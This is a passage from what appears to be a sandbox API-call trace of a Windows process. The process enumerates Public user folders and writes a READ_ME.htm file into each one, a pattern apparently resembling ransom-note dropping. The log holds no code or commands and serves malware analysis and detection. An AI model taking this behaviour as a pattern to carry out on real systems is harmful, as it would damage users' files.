ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0159.959] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.959] SetErrorMode (uMode=0x0) returned 0x1 [0159.959] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0159.960] SetErrorMode (uMode=0x1) returned 0x0 [0159.960] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0159.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0159.961] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.962] SetErrorMode (uMode=0x0) returned 0x1 [0159.962] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0159.962] SetErrorMode (uMode=0x1) returned 0x0 [0159.962] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0159.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0159.963] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.963] SetErrorMode (uMode=0x0) returned 0x1 [0159.964] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\READ_ME.htm", lpFilePart=0x0) returned 0x23 [0159.964] SetErrorMode (uMode=0x1) returned 0x0 [0159.964] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\READ_ME.htm" (normalized: "c:\\users\\public\\desktop\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.969] GetFileType (hFile=0x1d0) returned 0x1 [0159.969] SetErrorMode (uMode=0x0) returned 0x1 [0159.969] GetFileType (hFile=0x1d0) returned 0x1 [0159.969] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d2598*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29d2598*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0159.971] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0159.971] SetErrorMode (uMode=0x1) returned 0x0 [0159.971] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e00e660, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e00e660, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0159.973] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.973] SetErrorMode (uMode=0x0) returned 0x1 [0159.973] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0159.973] SetErrorMode (uMode=0x1) returned 0x0 [0159.973] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e00e660, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0159.974] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e00e660, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0159.975] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.975] SetErrorMode (uMode=0x0) returned 0x1 [0159.975] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0159.976] SetErrorMode (uMode=0x1) returned 0x0 [0159.976] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*" (normalized: "c:\\users\\public\\documents\\my music\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.991] SetErrorMode (uMode=0x0) returned 0x1 [0159.993] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0159.994] SetErrorMode (uMode=0x1) returned 0x0 [0159.994] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music\\READ_ME.htm" (normalized: "c:\\users\\public\\documents\\my music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.006] GetFileType (hFile=0x1d0) returned 0x1 [0160.006] SetErrorMode (uMode=0x0) returned 0x1 [0160.006] GetFileType (hFile=0x1d0) returned 0x1 [0160.006] WriteFile (in: hFile=0x1d0, lpBuffer=0x29da100*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29da100*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0160.008] CloseHandle (hObject=0x1d0) returned 1 [0160.008] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0160.008] SetErrorMode (uMode=0x1) returned 0x0 [0160.009] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*" (normalized: "c:\\users\\public\\documents\\my pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0160.012] SetErrorMode (uMode=0x0) returned 0x1 [0160.016] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0160.016] SetErrorMode (uMode=0x1) returned 0x0 [0160.016] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\READ_ME.htm" (normalized: "c:\\users\\public\\documents\\my pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.017] GetFileType (hFile=0x1d0) returned 0x1 [0160.017] SetErrorMode (uMode=0x0) returned 0x1 [0160.017] GetFileType (hFile=0x1d0) returned 0x1 [0160.018] WriteFile (in: hFile=0x1d0, lpBuffer=0x29dfad8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29dfad8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0160.019] CloseHandle (hObject=0x1d0) returned 1 [0160.020] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0160.020] SetErrorMode (uMode=0x1) returned 0x0 [0160.020] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*" (normalized: "c:\\users\\public\\documents\\my videos\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0160.051] SetErrorMode (uMode=0x0) returned 0x1 [0160.054] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0160.054] SetErrorMode (uMode=0x1) returned 0x0 [0160.054] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos\\READ_ME.htm" (normalized: "c:\\users\\public\\documents\\my videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.057] GetFileType (hFile=0x1d0) returned 0x1 [0160.057] SetErrorMode (uMode=0x0) returned 0x1 [0160.057] GetFileType (hFile=0x1d0) returned 0x1 [0160.058] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e5490*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29e5490*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0160.059] CloseHandle (hObject=0x1d0) returned 1 [0160.060] GetFullPathNameW (in: 